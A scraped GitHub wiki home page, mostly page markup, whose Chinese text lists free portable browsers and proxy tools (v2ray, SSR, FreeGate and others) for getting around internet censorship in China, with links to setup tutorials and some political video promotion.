value="b0Bgz4mqScE7zq0QVm08tZv5z1OzCVx+ozCI3NlInJaFn2/6s8+DwOop3WP1P6NTTqn0yr75eK7eAuMmBSwUxA==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout"> Sign out </button> </form> </div> </div> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container"> </div> <div role="main" class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <div > <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav pt-0 pt-lg-3 "> <div class="repohead-details-container clearfix container-lg p-responsive d-none d-lg-block"> <ul class="pagehead-actions"> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-remote="true" class="js-social-form js-social-container" action="/notifications/subscribe" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="KK6/k23EkvBozTQwWgEA5FH8ZX5XVrBLzcGpR4JinAhq7/tIjemrK8lhd0do997jcIFVbSagHOTaRJTrAyLvEQ==" /> <input type="hidden" name="repository_id" id="repository_id" value="54544023" class="form-control" /> <details class="details-reset details-overlay select-menu float-left"> <summary class="btn btn-sm btn-with-count select-menu-button" data-ga-click="Repository, click Watch settings, action:wiki#index"> <span data-menu-button> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </summary> <details-menu class="select-menu-modal position-absolute mt-5" style="z-index: 99;"> <div class="select-menu-header"> <span class="select-menu-title">Notifications</span> </div> <div class="select-menu-list"> <button type="submit" name="do" value="included" class="select-menu-item width-full" aria-checked="true" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Not watching</span> <span class="description">Be notified only when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </div> </button> <button type="submit" name="do" value="release_only" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Releases only</span> <span class="description">Be notified of new releases, and when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch releases </span> </div> </button> <button type="submit" name="do" value="subscribed" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Watching</span> <span class="description">Be notified of all conversations.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch </span> </div> </button> <button type="submit" name="do" value="ignore" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Ignoring</span> <span class="description">Never be notified.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-mute v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg> Stop ignoring </span> </div> </button> </div> </details-menu> </details> <a class="social-count js-social-count" href="/Alvin9999/new-pac/watchers" aria-label="885 users are watching this repository"> 885 </a> </form> </li> <li> <div class="js-toggler-container js-social-container starring-container "> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="starred js-social-form" action="/Alvin9999/new-pac/unstar" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="GTo3eO2YhEo8L7lENMkL+RSLnBTchg9YTdhcTMAWPQx/JBU/tuW7iAaYUuM24agiYdiJviImlX0ddi4rMZdncg==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Unstar this repository" title="Unstar Alvin9999/new-pac" data-ga-click="Repository, click unstar button, action:wiki#index; text:Unstar"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Unstar </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="unstarred js-social-form" action="/Alvin9999/new-pac/star" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="BQPzq91IsEBS9r+jwR/XVm38bv38iO0gZAS8UpQ9frXP14g4U9YoouFFk/ychCBLkSmg2JW6KZBv6jzyY5Ys2A==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Star this repository" title="Star Alvin9999/new-pac" data-ga-click="Repository, click star button, action:wiki#index; text:Star"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Star </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> </div> </li> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="btn-with-count" action="/Alvin9999/new-pac/fork" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="30Vh1ipLvlW/0PCnUecaRMVXMrEAkkUtICx4d/UTUZYbhHNFEQj0jQS6H89vocX56OZE3Wr8Y7tdgqTD0JQbgQ==" /> <button type="submit" class="btn btn-sm btn-with-count" data-ga-click="Repository, show fork modal, action:wiki#index; text:Fork" title="Fork your own copy of Alvin9999/new-pac to your account" aria-label="Fork your own copy of Alvin9999/new-pac to your account"> <svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 0 0-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 0 0 2 1a1.993 1.993 0 0 0-1 3.72V6.5l3 3v1.78A1.993 1.993 0 0 0 5 15a1.993 1.993 0 0 0 1-3.72V9.5l3-3V4.72A1.993 1.993 0 0 0 8 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg> Fork </button> </form> <a href="/Alvin9999/new-pac/network/members" class="social-count" aria-label="2441 users forked this repository"> 2,441 </a> </li> </ul> <h1 class="public "> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <span class="author" itemprop="author"><a class="url fn" rel="author" data-hovercard-type="user" data-hovercard-url="/hovercards?user_id=12132898" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="/Alvin9999">Alvin9999</a></span><!-- --><span class="path-divider">/</span><!-- --><strong itemprop="name"><a data-pjax="#js-repo-pjax-container" href="/Alvin9999/new-pac">new-pac</a></strong> </h1> </div> <nav class="reponav js-repo-nav js-sidenav-container-pjax container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container"> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a class="js-selected-navigation-item reponav-item" itemprop="url" data-hotkey="g c" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /Alvin9999/new-pac" href="/Alvin9999/new-pac"> <svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"/></svg> <span itemprop="name">Code</span> <meta itemprop="position" content="1"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" data-hotkey="g i" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /Alvin9999/new-pac/issues" href="/Alvin9999/new-pac/issues"> <svg class="octicon octicon-issue-opened" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 0 1 1.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"/></svg> <span itemprop="name">Issues</span> <span class="Counter">321</span> <meta itemprop="position" content="2"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a data-hotkey="g p" itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /Alvin9999/new-pac/pulls" href="/Alvin9999/new-pac/pulls"> <svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0 0 10 15a1.993 1.993 0 0 0 1-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 0 0-1 3.72v6.56A1.993 1.993 0 0 0 2 15a1.993 1.993 0 0 0 1-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"/></svg> <span itemprop="name">Pull requests</span> <span class="Counter">1</span> <meta itemprop="position" content="3"> </a> </span> <a data-hotkey="g b" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /Alvin9999/new-pac/projects" href="/Alvin9999/new-pac/projects"> <svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> Projects <span class="Counter" >0</span> </a> <a class="js-selected-navigation-item selected reponav-item" data-hotkey="g w" aria-current="page" data-selected-links="repo_wiki /Alvin9999/new-pac/wiki" href="/Alvin9999/new-pac/wiki"> <svg class="octicon octicon-book" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M3 5h4v1H3V5zm0 3h4V7H3v1zm0 2h4V9H3v1zm11-5h-4v1h4V5zm0 2h-4v1h4V7zm0 2h-4v1h4V9zm2-6v9c0 .55-.45 1-1 1H9.5l-1 1-1-1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1h5.5l1 1 1-1H15c.55 0 1 .45 1 1zm-8 .5L7.5 3H2v9h6V3.5zm7-.5H9.5l-.5.5V12h6V3z"/></svg> Wiki </a> <a class="js-selected-navigation-item reponav-item" data-selected-links="repo_graphs repo_contributors dependency_graph pulse alerts security people /Alvin9999/new-pac/pulse" href="/Alvin9999/new-pac/pulse"> <svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"/></svg> Insights </a> </nav> <div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList"> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a class="js-selected-navigation-item reponav-item" itemprop="url" data-selected-links="repo_source repo_downloads repo_commits repo_releases repo_tags repo_branches repo_packages /Alvin9999/new-pac" href="/Alvin9999/new-pac"> <span itemprop="name">Code</span> <meta itemprop="position" content="1"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_issues repo_labels repo_milestones /Alvin9999/new-pac/issues" href="/Alvin9999/new-pac/issues"> <span itemprop="name">Issues</span> <span class="Counter">321</span> <meta itemprop="position" content="2"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_pulls checks /Alvin9999/new-pac/pulls" href="/Alvin9999/new-pac/pulls"> <span itemprop="name">Pull requests</span> <span class="Counter">1</span> <meta itemprop="position" content="3"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="repo_projects new_repo_project repo_project /Alvin9999/new-pac/projects" href="/Alvin9999/new-pac/projects"> <span itemprop="name">Projects</span> <span class="Counter">0</span> <meta itemprop="position" content="4"> </a> </span> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item selected reponav-item" aria-current="page" data-selected-links="repo_wiki /Alvin9999/new-pac/wiki" href="/Alvin9999/new-pac/wiki"> <span itemprop="name">Wiki</span> <meta itemprop="position" content="5"> </a> </span> <a class="js-selected-navigation-item reponav-item" data-selected-links="pulse /Alvin9999/new-pac/pulse" href="/Alvin9999/new-pac/pulse"> Pulse </a> <span itemscope itemtype="http://schema.org/ListItem" itemprop="itemListElement"> <a itemprop="url" class="js-selected-navigation-item reponav-item" data-selected-links="community /Alvin9999/new-pac/community" href="/Alvin9999/new-pac/community"> Community </a> </span> </nav> </div> </div> <div class="container-lg new-discussion-timeline experiment-repo-nav p-responsive"> <div class="repository-content "> <div id="wiki-wrapper" class="page"> <div class="d-flex flex-column flex-md-row gh-header"> <h1 class="flex-auto min-width-0 mb-2 mb-md-0 mr-0 mr-md-2 gh-header-title instapaper_title">Home</h1> <div class="mt-0 mt-lg-1 flex-shrink-0 gh-header-actions"> <a href="#wiki-pages-box" class="d-md-none ">Jump to bottom</a> </div> </div> <div class="mt-2 mt-md-1 pb-3 gh-header-meta"> 自由上网 edited this page <relative-time datetime="2019-02-19T14:44:48Z">Feb 19, 2019</relative-time> · <a href="/Alvin9999/new-pac/wiki/Home/_history" class="muted-link"> 1061 revisions </a> </div> <div id="wiki-content" class="d-flex flex-column flex-md-row"> <div id="wiki-body" class="mt-4 flex-auto min-width-0 gollum-markdown-content instapaper_body"> <div class="markdown-body"> <h3> <a id="user-content-自由上网方法" class="anchor" href="#%E8%87%AA%E7%94%B1%E4%B8%8A%E7%BD%91%E6%96%B9%E6%B3%95" aria-hidden="true"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong>自由上网方法</strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong> </h3> <pre><code> 一键翻墙浏览器 </code></pre> <p>永久免费。不用安装,无需设置,解压后使用。稳定、流畅、高速,长期更新。</p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/%E5%9B%BE%E6%A0%87.PNG" alt=""></p> <p><strong>介绍</strong>:GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,适合windows操作系统,比如:Xp、win7、win8、win10系统。浏览器自带翻译插件和YouTube视频下载脚本,方便且实用。压缩包文件的格式是7z,如果解压出错,用7解压软件来解压(<a href="https://sparanoid.com/lab/7z/" rel="nofollow">7z解压软件下载地址</a>)。</p> <p><strong>注意</strong>:软件都是采用加密方式的,但为了更稳定、更安全的翻墙,建议卸载国产杀毒软件,至少翻墙时不要用它们!因为很多国产杀毒软件,比如360安全卫生、360杀毒软件、腾讯管家、金山卫士等不仅仅会起干扰作用,造成软件无法正常使用或速度变慢,它们与防火墙还有千丝万缕的关系!其实win10自带的defender就有杀毒的功能,如果还需要安全软件,可以用国外的杀毒软件<a href="http://files.avast.com/iavs9x/avast_free_antivirus_setup_offline.exe" rel="nofollow">avast</a>,防火墙<a href="https://github.com/henrypp/simplewall/releases/download/v.2.3.4/simplewall-2.3.4-setup.exe">simplewall</a>,还有清理软件<a href="http://downloads.wisecleaner.com/soft/WiseCare365.exe" rel="nofollow">wisecare365</a>。它们都是免费的,而且不会干扰电脑运行。</p> <p><strong>选择指南</strong>:有GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,可以按照顺序依次尝试。由于国内网络环境不同、地区不同,封锁强度会不同,所以使用效果会有差别,有的地区几乎所有的软件都能使用,有的只能用几款,因此具体哪款软件适合你的网络环境,需要你自己来尝试。内存低于2G的电脑建议用<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>。还有<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a>可供选择,电脑、手机、平板都能使用。如果想自己搭建翻墙服务器,可以学习<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss/ssr服务器教程</a>或<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a>。</p> <p><strong>2018年6月6日</strong>:发布<a href="https://gitlab.com/Alvin9999/free/wikis/home" rel="nofollow">备用项目地址</a> 。</p> <p><strong>2019年1月18日公告</strong>:ipv6版国内大多数地区已失效,如果你无法使用ipv6版,请更换其它类型的软件。</p> <p><strong>推荐YouTube视频频道</strong>:<a href="https://www.youtube.com/channel/UCa6ERCDt3GzkvLye32ar89w/videos" rel="nofollow">历史上的今天</a> <a href="https://www.youtube.com/channel/UCtAIPjABiQD3qjlEl1T5VpA/featured" rel="nofollow">文昭談古論今</a></p> <hr> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">谷歌浏览器69高内核版</a> (2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a> (2018年6月22日更新方法)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">谷歌浏览器低内核GoAgent ipv6版</a> (2018年12月20日云端更新GoAgent ipv6)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/v2ray%E7%89%88">谷歌浏览器低内核v2ray版</a> (2018年12月27日云端更新v2ray配置信息)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SSR%E7%89%88">谷歌浏览器低内核SSR版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">谷歌浏览器低内核赛风版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">谷歌浏览器低内核FreeGate和WuJie版</a>(2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">谷歌浏览器低内核SkyZip版</a>(2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">谷歌浏览器低内核GoProxy ipv6版</a> (2018年9月23日更新版本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>(2019年2月16日更新无界版本至19.02,更新自由门版本至7.66)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a> (2018年1月31日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a> (2018年10月28日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建SS/SSR服务器教程</a> (2018年11月21日增加SS/SSR部署备用脚本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a> (2019年2月11日更新一键部署v2ray脚本)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a>(2018年6月24日更新聚缘阁安卓版)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙方法</a>(2018年2月24日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">MAC翻墙方法</a>(2017年12月25日删除无效方法)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙方法</a>(2018年2月4日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a> (2018年5月30日增加Linux SSR 使用方法二)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a> (2018年11月25日发布)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a> (2018年4月26日更新)</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a> (推荐两本关于网络安全的书籍)</p> <hr> <p>真心希望大家都能够突破网络封锁、获得真相,祝愿每位善良的人都能拥有一个美好的未来。</p> <p>2019年神韵晚会超清预告片<a href="http://108.61.224.82:8000/f/ddd18239a6/" rel="nofollow">在线观看或下载</a></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/shenyun003.jpg" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/1.JPG" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/2.JPG" alt=""></p> <hr> <p>有问题可以发帖<a href="https://github.com/Alvin9999/new-pac/issues">反馈交流</a>,或者发邮件到海外邮箱<a href="mailto:kebi2014@gmail.com">kebi2014@gmail.com</a>进行反馈,反馈邮件标题最好注明什么软件及截图。</p> </div> </div> <div id="wiki-rightbar" class="mt-4 ml-md-6 flex-shrink-0 width-full wiki-rightbar"> <div id="wiki-pages-box" class="mb-4 wiki-pages-box js-wiki-pages-box" role="navigation"> <div class="Box Box--condensed box-shadow"> <div class="Box-header js-wiki-toggle-collapse" style="cursor: pointer"> <h3 class="Box-title"> <svg class="octicon octicon-triangle-down js-wiki-sidebar-toggle-display" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 5l6 6 6-6H0z"/></svg> <svg class="octicon octicon-triangle-right js-wiki-sidebar-toggle-display d-none" viewBox="0 0 6 16" version="1.1" width="6" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 14l6-6-6-6v12z"/></svg> Pages <span class="Counter Counter--gray">27</span> </h3> </div> <div class=" js-wiki-sidebar-toggle-display"> <div class="filter-bar"> <input type="text" id="wiki-pages-filter" class="form-control input-sm input-block js-filterable-field" placeholder="Find a Page…" aria-label="Find a Page…"> </div> <ul 